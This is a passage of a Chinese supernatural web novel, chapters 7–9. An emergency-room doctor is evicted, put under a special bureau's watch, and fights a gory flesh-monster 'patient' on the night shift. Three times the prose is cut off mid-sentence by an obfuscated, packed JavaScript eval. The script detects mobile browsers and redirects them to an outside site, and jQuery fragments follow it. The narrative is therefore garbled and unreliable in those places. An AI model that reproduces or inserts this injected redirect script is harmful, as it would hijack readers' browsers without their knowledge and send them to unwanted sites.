《全不可名状都在求我治病》 7. 第 7 章 重新问询、解释并完成笔录后,晏绥终于从审讯室出来拿回手机时,手机就嗡嗡地震动起来。 他低头看见屏幕上的“房东”来电,连忙接起来。 “那个,我很快就……” 电话里的中年男人不耐烦地说:“别说了,我不租给你了,限你今天内将东西搬走,别磨磨蹭蹭妨碍我出租!” “对不起,我很快……” 晏绥这次依旧没有说完,对面连珠炮似地继续轰炸:“还有拖欠的房租给我尽快交上,不然我就告你……” 电话里的声音戛然而止,晏绥拿下手机一看,发现已经没电关机了。 好家伙,还有比他更倒霉的人吗? 值了一晚夜班,又被关了大半天,晏绥已经又饿又渴。 他抓了抓头发,拿着手机在走廊上左顾右盼,正盘算着哪里可以在他饿死前给他蹭个电,就见刚刚举着拳头凶神恶煞的瘟神从电梯里走出,朝他过来。 真是霉上加霉。 晏绥只当做没看见,转头瞄准另一边半开的办公室门,打算过去碰碰运气。 刚抬脚走了没两步,晏绥后衣领就被大力一提,拎了回来。 “跑什么,难道我会吃人?” 晏绥也不挣扎,就着这个姿势向斜后方抬眼,脸上抿出两个小酒窝:“你不会吃人,但你会咬死我啊。” 裴野望笑了一声,意有所指地说:“我可不想下半辈子都得坐轮椅上。” 他在审讯室里是威胁了晏绥一番,但晏绥也暗暗收紧了腰腹,被紧紧捆缚的双腿在挡板下抬了起来。 如果他那拳真的落下,恐怕膝盖骨也不一定能保住。 晏绥歪了歪头,无辜道:“裴大,我那是合理反击,正当防卫。” 裴野望耸了耸肩:“没错,只有人类才会使用人类的反击方式。” 晏绥在心里啧了一声。 这心眼多的,要不是察觉到这人的试探之意,他那一脚可就真踹出去了。 裴野望放开晏绥,将手里拎着的大塑料袋递给他,嗓音沉静下来:“无论怎么说,这也是我们的问题,这是赔礼。” 食物的香气从塑料袋里幽幽传来,晏绥瞥了一眼,倒也不打算和自己咕噜噜叫的肠胃作对,毫不客气地接过来一看,发现里面是一份饭,一瓶矿泉水和一杯奶茶。 裴野望:“你手机也没电了吧,走,带你去充电。” 他们找了个空办公室,终于能给晏绥的肚子和手机续上命。 晏绥高兴地将自己的饭掏了出来,打开盖子一看,瞬间僵住了。 居然是白花花的鸡肉…… 他最讨厌的食物之一,看着就没滋没味。 裴野望注意到了他的僵硬,倚在门边问:“不合胃口?给你重新买一份?” “没关系,我可以吃。” 他的肚子已经等不得下一份了,晏绥拧着眉夹起一块鸡肉塞进嘴里,没想到一股意外的浓郁咸香充盈味蕾。 倒也没他想象中那么难吃。 晏绥眉头舒展了,埋头吃饭。 裴野望的目光从晏绥食指裹着的纱布上一晃而过。 这个人的手指白嫩细滑,看着就跟个瘦弱无力的普通人一样,身上更是没有任何如他们这些身陷“不可名状”之中的人的气息。 真有意思。 等晏绥吃完饭,低头喝奶茶的时候他又开口了:“现在有一个好消息和一个坏消息。” 晏绥看了眼重新开机的手机,眉头略微拧了拧,随后抬起头说:“先说坏消息吧。” 裴野望只当做没听见,笑眯眯地说:“好消息就是,你的死刑处决已经撤销了,怎么感谢我?” 晏绥看过来的眼睛又圆又大:“给你治病?” 裴野望乐了:“还是免了。” 晏绥放下奶茶:“所以坏消息呢?” “坏消息就是,”裴野望拖着嗓音,慢声道:“上头还是不放心,所以从今天起,将由我对你进行贴身监管,开心吗?” “……” 空气像是凝固了。 晏绥又圆又大的眼睛迟缓地眨了一下,一时望着桌上的奶茶有些发怔。 他的眼睫很长,像两把小羽扇一样垂在白皙的脸上,看着可怜巴巴的。 裴野望冷眼看着,直到现在才感觉到这个人像个才出校园的年轻人。 他慢悠悠地继续说:“不过晏医生能‘意外’发现老陈肚子里的虫子,还能想到用卵鞘给他们修复伤口,是个人才,我们也很需要像晏医生这样的人才。毕竟只要能达到这种惊人的疗效,过程和手段自然就没那么重要了,不是吗。” 晏绥听懂了他的言下之意。 他下意识地捏紧右手指腹,而后才后知后觉地意识到皮肉骨血下的那把手术刀已经不再发热了。 他若无其事地松开手指,将搭在桌面上的右手收回藏在桌下,身体往后靠在椅背上。 同时,他开口说:“我要求把昨晚四台手术的提成和工资预支给我。” 裴野望没想到他会突然把话题拐到这里,不由一顿。 晏绥却误会了他的沉默,眼睛一瞪,一下坐直:“等等,再怎么说我也付出了劳动,你们不会赖账吧?” 裴野望失笑,当场拿出手机打了个电话。 叮咚一声,收款短信在晏绥的手机屏幕上亮起。 晏绥瞥了一眼,登时瞪大了眼睛。 个十百千万…… 十一万多! 裴野望晃了晃手机,“你的预支工资再加上他们四个一个月的工资作为手术费,够了吗?” 有点亏,毕竟他从虫子兄身上切除下来的材料全都飞了。 但单纯作为手术费和工资,这还是很够意思的。 晏绥矜持地收拾好吃完的餐盒,笑得眉眼弯弯:“多谢裴大,我这就笑纳了。” 他的手机又开始“嗡嗡”作响,瞥了一眼来电显示,他直接挂断电话。 在晏绥提着餐盒走出办公室门口的时候,裴野望一偏头:“我们特处局可以提供员工宿舍。” 晏绥闻言眉头一挑,正准备迈出房门的脚步猛地一转,两人之间的距离一下拉得极近。 裴野望垂下眼眸,望着晏绥凑得极近的俊秀面容,面色平静无波。 晏绥声音放低,凑到裴野望耳边轻声说:“差不多得了,你还真想二十四小时贴身?” 丢下这一句话,晏绥毫不留恋地扭头就走。 裴野望目送着晏绥离开,轻呵一声。 还以为爪子缩起来了,原来还尖利得很。 他注视着晏绥的背影,直到晏绥彻底消失在电梯内,才神色淡淡地低头摁灭手机。 屏幕熄灭的前一秒,那颗带着狭长刀口的深紫色卵鞘照片在裴野望的视网膜里一闪而过。 黑屏反射着光,倒映出裴野望黑沉的眼眸。 …… 晏绥租住的地方和人民医院旧院区一个在城南一个在城北,他转了两趟地铁,才将将在下午四点左右赶回自己租的小房子。 走上楼梯,没想到房东带着一个短发年轻女孩站在他门口,钥匙已经插进锁孔里了。 晏绥快步走过去,按下房东扭动钥匙的手,拧着眉说:“距离明天还有好几个小时吧。” 房东瞪起眼睛:“你还好意思说?拖欠房租还敢挂我电话!你赶紧给我滚出我的房子,别人着急看房呢,别打扰我出租。” 晏绥不语,拿起手机将房租费转过去,然后向着房东展示转账页面,问道:“可以了吗?” 说完,他转身对惊讶地来回看他们的短发女孩微笑道:“你好,我只需要一个小时。” 一脸懵的短发女孩对上晏绥的笑容,脸腾地一下就红了,连连摆手说:“不好意思,我,我不知道……我不急的,你慢慢收拾吧,我之后再来也没事。” 晏绥:“没关系,一个小时足够了。” 说完,他也不理会干瞪眼的房东,直接用他插在锁孔里的钥匙开了门,然后当着房东的面“嘭”地关上门。 房东心里骂了晏绥祖宗十八代,转头对短发女生赔笑:“不好意思啊,要不先找个地方坐坐,等会再过来?” 短发女孩摇摇头,有些神思不属地看向紧闭的大门,说:“没关系,在这等一下就好了。” 房东在心里骂的脏话又多了一句小白脸。 晏绥收拾东西很快,虽然他实习和规培期在这里住了几年,但他也没在这间房子里留下太多东西和痕迹。 所以还不到一个小时,晏绥就拖着行李箱出来了。 短发女生捏着手机,眼睛盯着晏绥,犹豫着想开口要个微信。 晏绥将房屋钥匙丢给房东,当场拉黑了他的所有联系方式。 然后他转头,对短发女孩认真地说:“这栋楼很老了,厕所水管经常漏水,空调声音也很大,我催了好几次这位房东也没叫人修。楼上三个小学生经常晚上十二点还在吵闹,他家女主人有点泼辣,如果要上门最好找个人陪同。另外左边邻居是个喜欢四处晃悠串门的独居老头子,右边第二户住着两个无所事事的男人,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068317|137862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最好了解一下。最后就是房东的为人……你也看到了,我就不多赘述。” 房东和短发女孩目瞪口呆。 下一秒,房东急出了一头汗,连忙对着脸色不对的短发女孩摆手解释:“不是,你别听他瞎说……” 晏绥没理会他们之间的官司,敲了敲左侧邻居的大门。 一个打赤膊的老大爷抓着肚皮开了门,一下和站在外面的房东和短发女孩六目相对。 “哎呦,”老大爷摸了摸光溜溜的手臂,笑得像朵菊花:“还有个漂亮姑娘在呢,新来的?单身吗?” 短发女孩攥紧帆布包的肩带,脸色有点发青。 晏绥微笑着举起手里的洗洁精:“上次借了您家的洗洁精忘了还,我买新的一瓶还给您。” 将崭新的洗洁精塞进大爷手里,晏绥提着行李头也不回地潇洒离去。 时间已经不早了,晏绥一时半刻也找不到新的落脚点,随意地在医院附近找了家酒店暂时对付着。 胡吃海塞完一顿加麻加辣的麻辣香锅,他倒头就睡,连行李都没来得及收拾。 也不知道是不是太累了,昏昏沉沉之间,他做了个混沌离奇的梦。 他梦见自己在手术室里不慎吸收了那颗晶体,一回头,赫然撞见了裴野望。 裴野望脸上的表情扭曲又厌恶,他一声令下,无数看不清脸的战训服一拥而上,用锋利的尖矛将他重重地钉在墙上。 那把满是裂纹和破口的手术刀也被他们抢夺过去,刺入他的胸膛。 他想挣扎,他想解释,但是一低头,却发现自己变成了一只黑黢黢的,带着锋利镰足的丑陋大虫子。 再抬头,所有战训服变成了一张张认识或不认识的脸,惊恐又厌恶地看着他,张大嘴尖叫起来。 一切都那么恐怖又怪诞,令人如坠深渊。 但他模糊的意识里突然闪电般地划过一道念头。 不对,他明明是个人类,怎么可能会是虫子? 像是突然在梦中清醒,他飞快地冷静下来,抬眼向着上方看去。 有某种隐隐约约的,难以言说的东西,在这里存在着。 如此意识到之后,晏绥倏然从梦中醒来。 他无声地睁开眼,安静地看着酒店昏暗的天花板。 急诊科里,有什么东西? …… 晚上十点半,晏绥精神抖擞地出现在急诊大楼,一点也看不出来白天被折腾了一通。 穿上白大褂,扣上手表,表盘上明亮的绿色再次亮起。 一切都已经很熟悉了,只不过…… “呦,晚上好啊,晏医生。” 裴野望碍眼地杵在急诊大厅里,笑眯眯地抬手和晏绥打了个招呼。 苏婉缩在裴野望身后,小心翼翼地探个脑袋看着晏绥,表情复杂难言。 “晚上好,裴大。晚上好,苏婉护士。” 晏绥乖巧认真地向裴野望和苏婉打了个招呼。 苏婉“嗖”地一下缩回了头。 晏绥也不在意,低头将笔扣进胸前的口袋。 裴野望看着那支笔,饶有兴致地说:“需要给你配把凶器吗?” 晏绥微笑道:“活的凶器不就站在我面前?” “哈。”裴野望挑眉笑道:“多谢你的恭维。” 整理好身上的东西,晏绥看了眼时间,冲着裴野望问道:“我记得急诊科守则第二十七条的内容,是不允许无关的闲杂人等逗留吧?现在快到夜班时间了,裴大要以什么身份站在这里?” 裴野望抱臂道:“这还用问,当然是寻医问药的病人。第二十七条说的‘闲杂人等’是指得妨碍急诊科正常运转的人,跟我有什么关系?” 病人? 晏绥上下扫视裴野望一身强健流畅、暗藏极强爆发力的肌肉,视线在那饱满得撑起衬衫的胸肌上流连了一瞬,轻飘飘地收回视线,说:“有你这样的病人吗?” 裴野望:“如果穿上病号服能让你更有代入感的话,也不是不行。” 晏绥:“……” 看出晏绥的一言难尽,裴野望笑出了声:“好了,不开玩笑了。之前腾不出手,今晚总得把那个作乱的家伙给处理了。” 晏绥:“好的,我一定在安全舱里躲好……” 裴野望:“你跟我一起。” 晏绥眼皮一抬,正正对上裴野望如冰川罅隙下涌动深流的黑眸。 “别告诉我你真的想在安全舱里呆一晚上。” 晏绥移开视线,乖巧应道:“好吧,都听裴大安排。” 8. 第 8 章 时间还没到11点,裴野望上楼踩点巡视去了,晏绥刚在导诊台前坐下,面前就多了一个又红又大的苹果。 晏绥顺着握着苹果的手臂往上看,看到了苏婉有些别扭的脸。 苏婉抿了抿唇,干巴巴地开口说:“那个,对不起啊,昨晚我,我不敢出来。所以,就是……” “没关系。”晏绥接过她手里的苹果,目光落到苏婉另一只手上提着的大红色旺仔牛奶,“这个……” 苏婉一下警惕起来,迅速将旺仔牛奶藏在身后:“这可是供奉夜班之神的,你绝对不能喝。不对,就算不供奉也不能喝,旺仔系列所有食品的都不能在夜班吃知道吗?” “拜夜班之神不如拜我。” 一道声音含着笑意懒洋洋地从苏婉身后传来,苏婉一下转身,瞪着从楼下走下来的裴野望说:“裴大也不能喝,万一急诊大楼‘旺’起来了……” 说着,苏婉脸绿了。 “行行行。” 裴野望挥了挥手:“不是还要拜神吗?快点吧。” 今晚夜班之神的供奉更上一层楼,牌位前除了三个苹果,苹果外围还围了一圈红艳艳的旺仔牛奶,就跟摆阵一样。 苏婉高举三支香,嘴里念念有词。 她拜完后,又盯着让晏绥拜。 晏绥乖乖地配合拜完,模样看着还挺虔诚。 苏婉扭头瞥了闲闲地靠在一边的裴野望一眼,到底不敢真的支使他。 她又悄悄看了一眼敬完香起身的晏绥,心里一直莫名紧绷的弦松了松,逐渐安稳下来。 看着就是个普通的乖小伙,特处局他们果然是误会了。 时针悄然滑到11点,急诊大楼外的灯牌准时亮起。 裴野望倚着导诊台,慢条斯理地缠好黑色的拳击绷带,再套上宽大冰冷的指虎。 晏绥双手插兜,目光被这个指虎吸引。 早上的指虎只是细细一条弯曲的金属圆弧,现在这个黑色的指虎样式很奇异,贴着手指的底座有将近一截指骨那么宽,上面有着一排大小不一的弯曲圆锥尖刺,还有很多奇异的纹路。 这些纹路仿佛篆刻而上,又仿佛天生而成,在黑色的指虎上不断弯曲缠绕,看久了竟让人感觉头晕目眩,神思迷离,仿佛看到纹路如有生命般在指虎上蠕动盘旋,组成无数奇异神秘符号又迅速溃散成一团乱纹。 指虎上圆锥尖刺也缓缓弹动起来,扭曲着仿若舌头般灵巧舔舐着空气…… “再看就要出事了。” 裴野望的声音骤然唤回了晏绥的神志。 晏绥眨了眨眼,还想再看,却发现裴野望将手背到了身后。 裴野望:“真的不需要给你配个武器?” 晏绥:“有裴大在,我觉得挺安全的。” 裴野望扫了他一眼,说:“特处局对它的危险性评定已经提高到了A级,这个级别可不是赤手空拳就能对付的,我得对你的安全负责。” 晏绥意外:“比昨晚那个虫子兄还强?” 裴野望反应过来晏绥所谓的虫子兄指的是什么,顿时失笑:“当然,硬要评价的话,半堕化的老陈战力大概是C级巅峰。” 晏绥顿时了然。 堕化,就是指虫子兄那种认知混乱导致发疯,并在各种因素的影响下导致的变异吧? 那种级别的确实只能算是末流,还有无数存在都比…… 想着想着,晏绥突然一愣。 至今为止,他最多也只见过那位“徐医生”和虫子兄,更没有什么渠道去接触其他信息,那自己脑海中这突如其来的知识是哪来的? 一个东西被迎面抛来,晏绥下意识地抬手接住,发现是一把锋利的匕首。 裴野望挑眉:“想什么呢?” 晏绥眨了眨眼,若无其事地岔开话题:“新换的摄像头真的有用?” 裴野望调侃似地说:“那也不能留着坏的吧。” ……审讯时那张医院走廊的监控图片果然是唬他的。 晏绥在心里撇了撇嘴,不想再说话。 裴野望偏了偏头,“走吧,去二楼看看。” 晏绥慢吞吞地跟在后面,低头打量了一下手上这把匕首。 银色带着奇异波纹的匕首,样式很普通,材质却很特殊。 他指腹轻轻从刃尖划过,又屈指轻轻弹了弹刃身。 很不错。 他从未见过这种材质,如果没猜错,制造匕首的材料恐怕并不是来自于人类世界。 短短几天,他对这个普通又平凡的世界的认知被彻底颠覆。现在,这个世界究竟还藏着什么他不知道的东西? 裴野望稳步迈上台阶,突然闲聊般地问道:“以你的判断,徐景山还有救吗?” 晏绥动作一顿,抬眼看向裴野望。 裴野望提醒:“就是你在笔录里提到的那个骷髅徐医生。” 晏绥收起匕首,慢吞吞地反问道:“难道裴大觉得一个人变成骷髅后还能有救?” 裴野望停下脚步回望他,只得到晏绥一个疑问的表情。 刚一试探就碰了个软钉子,裴野望顿觉好笑。 他也不纠缠,随意地换了个话题:“对了,昨晚你切除下来的东西已经被研究员带走了,算是你的功劳。那些切除物一旦有研究成果,还会有大笔奖励金打给你。” 晏绥早当那些材料打水漂了,没想到还有这个意外之喜。 送上门的钱不要白不要,他笑眼弯弯,到底没再绵里藏针:“多谢裴大。” 亮白的灯光照亮了二楼空荡的走廊,安静得只能听到他们两人的呼吸。 裴野望先前转悠过一圈,于是便率先往前走。 晏绥落后几步,刚踏上二楼,目光便开始四处逡巡。 突然,他发现二楼的护士站有隐隐的蓝光亮起,像是护士站内的电脑开了。 二楼空无一人,谁开的电脑? 他停下脚步,双手插兜远远地贴墙站着。 在按兵不动和上前查看两个选项之间,他选择了喊裴野望来处理。 他学着裴野望拖长了声音:“裴大,这里……” 裴野望闻声回头。 然而他这一回头,却只看到空荡荡的走廊。 耳边犹自萦绕着晏绥拉长的些许尾音,但本该在他身后的白大褂青年却不翼而飞。 晏绥未说完的话也顿住了。 他无声地望着走廊前方,原本正漫步往前走的高大男人凭空消失,空寂的走廊上只剩下他孤零零一个。 说好的对他的安全负责呢?人就这么不见了? 晏绥目光微动,转向护士站。 片刻后,他手插着兜悠悠迈步上前,俯身探头往护士站里看去。 “叮咚——” 突兀的铃声骤然刺破令人窒息的寂静,吓得人一激灵。 护士站内蓝色的电脑桌面连同旁边墙面上挂着的小屏幕闪了闪,亮起了叫号界面。 广播中的甜美女音随之响起:“请,001号,到急诊1室就诊。” 机械的叫号声在空荡走廊里响起,仿佛带上了一丝阴森的回音。 晏绥抬起头,空荡走廊上所有小屏幕都亮起了蓝色的叫号界面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068318|137862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相同的字样在无数大小屏幕上以同样的速度闪烁滚动着,叫号声始终重复着,僵冷地在走廊里回荡。 头顶的白炽灯将走廊照得明亮无比,走廊窗外和另一侧的门诊室却如化不开的墨一般浓黑,让人心头发寒。 “叮咚——请,001号,到急诊1室就诊……叮咚——请,001号,到急诊1室就诊……” 叫号声如同催命一般不断响起。 急诊1室…… 晏绥回头,发现侧后方原本漆黑一片的急诊1室里,居然亮起了灯。 原本紧闭的1号门诊室门打开了一条不大不小的缝隙,蒙蒙白光透过门缝和门上的磨砂玻璃透出。 来了? 晏绥眉头微挑,一直插着兜的手终于放了出来。 他伸手推开那扇半开的门,发现里面虽然亮着灯光,但空无一人。 这是什么意思?那位叫到号的“病人”呢? 突然,一道似娇柔少女的声音贴在晏绥耳后,仿佛自带回音混响,层层叠叠地响起:“医生……叫到我的号了。” …… “叮咚——” “请,999号,到急诊10室就诊……” 裴野望环顾四周,确定晏绥确确实实不见了。 身后突然传来细碎的声响,他回过头,就见一双腿挣扎着,从唯一亮着灯光的急诊10室的门口一闪而过,仿佛被拖了进去。 裴野望神色莫测,转身上前,推开了半掩的急诊10室大门。 推开门板,一个被悬吊在顶上的白大褂青年赫然入目。 他背对着裴野望,身体还在灯下剧烈晃荡着,脑袋往前折成一个恐怖的角度,显然是刚被吊上去不久。 裴野望挑了挑眉,上前侧身探头一看,猛地对上晏绥暴突的双眼和吐出的舌头。 下一秒,悬吊在吊灯上的青年骤然坠落,“哐当”一声重重地摔在裴野望脚边,大眼睛死死盯着裴野望,死不瞑目。 他瘦削修长的手就砸在裴野望长靴旁,但那双黑色长靴挪都没挪一下。 裴野望黝黑的眼眸无声地抬起,落在了门诊室门口出现的人。 男人白大褂上浸满鲜血,他阴沉沉地盯着裴野望,青白的脸蠕动颤抖着咧出一个扭曲的笑容,眼里泄出难以抑制的怨恨。 “999号患者,看着一个又一个人在你眼前死去,你真的以为能救他们吗?” 裴野望冷眼看着白大褂男人。 白大褂男人一步步逼近,笑容越裂越大,几乎要横贯整张脸:“不,你谁都救不了,更救不了你自己,跟我们一起下地狱去吧……” 说话间,许许多多的人影无声地出现,跟随着白大褂男人的脚步,同样露出怨恨的笑容,缓步朝着门诊室内逼近。 裴野望无视了逼近的暗影,自顾自地拆下指节上带着尖锐长刺的指虎,换上了晏绥曾经见过的金属圆环指虎。 他拧了拧手腕,抬腿跨过了地上的“尸体”,声音散漫又沉冷:“不得不说,各位弄的这出笑话实在不好笑。” 白大褂男人面目狰狞地低啸一声,带着身后众人朝着门诊室里高大的男人扑来! 裴野望双目一抬,金属指虎在灯光下划过一道锐利的光。 “嘭”地一声巨响,白大褂男人被一拳重重地揍在脸上,巨大的力道将他以及所有扑来的人群飞砸而出。 裴野望缓步走出门诊室,后背的光在走廊里白大褂男人身上打下浓重的黑影。 只听他轻笑一声,慢声说:“抱歉了,我只是个暴力的粗人,没有什么不揍受害者的原则。” 9. 第 9 章 濡湿涌动的声音贴着晏绥的身后缓缓响着,带着莫名的热气,如一片庞大的阴影将他彻底笼罩,牢牢锁定。 突然“嘭”地一声巨响。 晏绥重重推开手里1号门诊室的门板,踏前一步走进门诊室,闪身避过身后伸来的不明物体。 他转身往后看去,这一眼,他只觉得看到一片血红的混合肉泥。 这位“001号患者”长得极具冲击性,它臃肿而高大,将门诊室给堵得严严实实,黄黄红红的脂肪、肌肉碎块和人体器官混杂着组成了它扭曲涌动的身体。 它不依不饶地继续往门诊室内挤,零散的脂肪肉块和疑似膀胱的不明血红器官从它身上掉到淌了一地的鲜血里,甚至还在蠕动着向晏绥靠近。 晏绥沉默地又退后了一步,细细地观察它。 只见乱七八糟的眼珠子嵌在它的身体各处,血色的眼睑胡乱地眨动着,死死地凝视着站着门诊室门口的晏绥,大肠小肠般像是触手一般张牙舞爪,朝着门诊室内的晏绥伸去。 娇柔甜美的声音如嘶吼如呢喃如呻吟,急切地说着:“医生,我好难受,好痛苦,快救救我……” 声音忽远忽近,回音似乎更强烈了,拼命顺着耳朵往大脑里钻,连晏绥都忍不住皱起了眉头。 混乱的呓语越来越急促,晏绥拧着眉听了片刻,终于忍不住开口打断它吟唱:“不好意思打断一下,你说你挂号了,那你经过分诊分级了吗?挂号费给了吗?” “001号患者”的声音猛地卡住。 之前的人在这个时候早已经嚎叫着七窍流血,挣扎着开始血肉崩解,这个人怎么…… 它下意识地再次用层层叠叠的声音开口:“叫到我号了……” 晏绥露出果然如此的表情,认真地说:“在医院看病挂号必须先给挂号费,这是必要流程,就算你再怎么哭求也不行,我不能做白工。” “001号患者”娇柔的声音骤然阴沉下来,一颗颗歪七扭八的眼珠子猛地大睁,露出一丝狰狞:“你要拒诊吗?” 急诊科最高守则可是写了——“尽最大努力救治每一位患者”。 “怎么会。”晏绥抬手往“001号患者”身上一指,说:“挂号费,我要这两颗眼珠。” “001号患者”一愣,似乎是没想到晏绥会提出这个要求。 晏绥已经走进了门诊1室,从柜子里翻出了用来装棉签的不锈钢罐子,还用办公桌柜子里的打火机灼烧了一下罐子,然后往“001号患者”面前一伸。 他眼眸弯起,笑容无害:“你这么多眼珠,拿两颗做挂号费不过分吧?唉,就这两颗,别的不要。” “你……!” 怪物全身的眼珠子猛地泛上红血丝,血肉猛地翻滚起来,像是狂猛的浪潮一般涌动起来! 片刻后,只听“哐当”两声,两颗眼球落在不锈钢罐子里,还在底部弹了弹。 它的声音变得低沉而嘶哑,带着无边的阴沉和愤怒:“你等着……” 晏绥充耳不闻,晃了晃罐子检查完眼珠后满意一笑,盖上盖子放在一边,顺手将打火机塞进衣兜里,在电脑前坐下。 电脑早已自行打开,诊疗系统上正显示着叫号界面,上面唯有一个号码,就是001号。 晏绥面不改色地点了开始问诊,双手搭上了键盘,脸上扬起一个标准的接诊笑容,连两个浅浅的酒窝都清晰可见。 “你好,麻烦你自我介绍一下,你是什么物种?因为什么来到急诊科?还有……到底哪里不舒服?” “001号患者”缓缓移动到办公桌旁的患者木凳上,娇柔的女音和低沉嘶哑的声音仿佛两道不同的音轨重叠在一起,越发古怪难听:“医生,我觉得我最近怪怪的,浑身无力,动弹起来很困难……而且我感觉好饿,可能是因为我快饿晕了,所以……” 晏绥冷静地无视了所有的诡异,“咔哒咔哒”地敲击键盘输入病情。 滴滴答答的鲜血和肉块顺着键盘敲击声从怪物身上滴落,浓稠的鲜血在门诊室地板上逐渐蔓延,数条红红白白的大肠小肠落在地上,无声地沿着扩散的血液往晏绥蜿蜒而来。 在肠子即将触碰到晏绥细白的脚腕时,那只穿着黑皮鞋的脚突然抬起,“啪”地一脚踩在了那些滑腻的肠子上,然后皮鞋一拧,将肠子甩了回去。 “001号患者”顿了一瞬,然后更多的肠子如毒蛇般“唰唰”而来。 “提醒一下,医闹是会被赶出去的。” 晏绥看都不看那个诡异恐怖的“001号患者”一眼,长腿斜斜地横扫而过,将所有张牙舞爪的肠子一脚踩在办公桌边,让其动弹不得,同时手指还在键盘上飞舞,快速输入病情。 打完字,他抬起头,脸上依旧笑容亲切,仿佛脚下根本没有踩着肠子:“根据你的描述和一系列的临床表现来看,你已经出现严重积食的情况,动不了是因为吃太多撑到了。同时又出现贪婪上瘾,不知饱足的症状……你这种情况,必须手术开刀才能解决。” “001号患者”没想到自己居然会接二连三地折戟,登时出离愤怒。 晏绥只感觉脚下踩着的肠子一个滑溜,被抽了回去。 “该死的医生!我说我很饿!你听不懂吗?” 坐在椅子上的血肉怪物猛地暴起,扭曲变调的声音咆哮着,全身像一个炸开的液体气球,如巨浪般铺天盖地朝着晏绥盖下来。 晏绥颇为无奈地叹了口气:“到底是我专业还是你专业?你们这些患者,怎么就非得自以为是呢?” 在他即将被血肉和器官吞没之前,一道银光一闪而过,歘地划破铺面而来的血肉“浪潮”。 晏绥握着那把裴野望给他的匕首,探手在那团混沌柔韧的血肉之中戳中了什么坚硬的东西。 他微微一笑,刃尖灵巧地围着这个坚硬之物转了一圈,然后刃身有技巧地大力一弹。 那“浪潮”瞬间僵住,全身血肉仿佛过电一般,跟着那坚硬之物一同震颤起来,就连血肉间嵌着的眼珠子都被震掉了几颗下来。 下一刻,那坨血肉一个抽搐,扩张开的“浪潮”如潮水迅速退去,在椅子上蜷成一大团哀嚎嘶鸣起来。 晏绥甩去手上沾上的血肉,站起身慢悠悠地说:“看来你的症状已经非常严重,我马上给你安排手术。” 他仔细清洁手上的血迹,慢条斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068319|137862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理地戴上橡胶手套,然后一把抓起“001号患者”身上缠着的肠子们。 血液和脂肪随着他的动作被挤出,溅到橡胶手套上,恶心至极。但他手套下的检测仪始终保持着稳定的绿色,几乎没有波动。 “手术费用的话……”晏绥的目光在“患者”的身上扫视了一圈,脸上的笑容逐渐加深:“我会自己取的。” 话音一落,晏绥一个用力,将“001号患者”整个从椅子上拖了下来,大步往大门外走去。 “001号患者”惨叫着,忍着疼痛努力挣扎,却还是被晏绥生生拖了出去,在浅蓝色的塑胶地板上拖出一道刺目的血痕。 晏绥脚步轻快,还不忘用温和的语气安抚明显处于惊惶中的“患者”:“别怕,现在马上给你安排手术,手术完你就不会痛苦了。” 但“001号患者”显然没有被他安抚到。 它陡然挣扎得更剧烈,尖声嘶吼一声。 过大的音量刺激耳膜,晏绥只觉得手上一轻。 他回头一看,发现那庞大的血肉怪物突然融化消解,如水一般的血液碎肉飞快地渗入地板缝隙里,消失不见。 几个呼吸间,怪物逃得无影无踪,徒留地板缝隙的暗红痕迹证明它的踪迹去向。 晏绥盯着地板缝隙,半蹲下来,屈指敲了敲地板。 …… 另一边,裴野望同样像是拖麻袋一样拖着什么东西,散步般在走廊上漫步走着。 突然,他双眼微微一眯,停下脚步。 在他前方的不远处,天花板、墙面和地板缝隙里涌出大量的血液碎肉,然后飞快地重组成一个诡异的血肉器官组合物。 “呵,终于按捺不住了?” 裴野望低声一笑,将手里的东西往后一扔,扭了扭脖子,十指活动了一下。 拳上的宽大指虎像是感应到了什么,圆锥尖刺兴奋地扭动起来,急不可耐朝着血肉怪物方向伸缩舔舐着。 那坨血肉古怪地扭动着,许多眼珠子和内脏从它身上掉落,又被蠕动的血肉重新吞回身体里。 布满血丝的眼珠子在看到裴野望的瞬间抖了一下,随后又鼓动着将身体变大,沉闷又嘶哑的声音重重叠叠地嘶吼起来:“吃了你——!” 裴野望语调上扬:“这么厉害?那我可得努力反抗。” 说话间,他一步一步往那坨血肉的方向走去,一种无形的,恐怖的气息自他身上无声地蔓延开来。 正欲扑来的那坨血肉骤然被这种气息冻结,僵在原地动弹不得,全身上下所有的眼珠子都不可置信地睁得极大,在极度的惊恐中死死盯着裴野望。 裴野望嘴角一挑,随意地抬手活动了一下右臂。 他黑沉的双眸微眯,几乎不用思考,便已经锁定了血肉中的某个核心。 他轻声一笑,拳头握紧,肌肉绷紧,右拳带着恐怖而又暴虐的声势朝着目的地挥去! “哗啦”一声巨响。 头顶的天花板轰然碎裂。 裴野望微怔,就见一个熟悉的白衣人影随着掉落的砖块墙皮凌空落下。 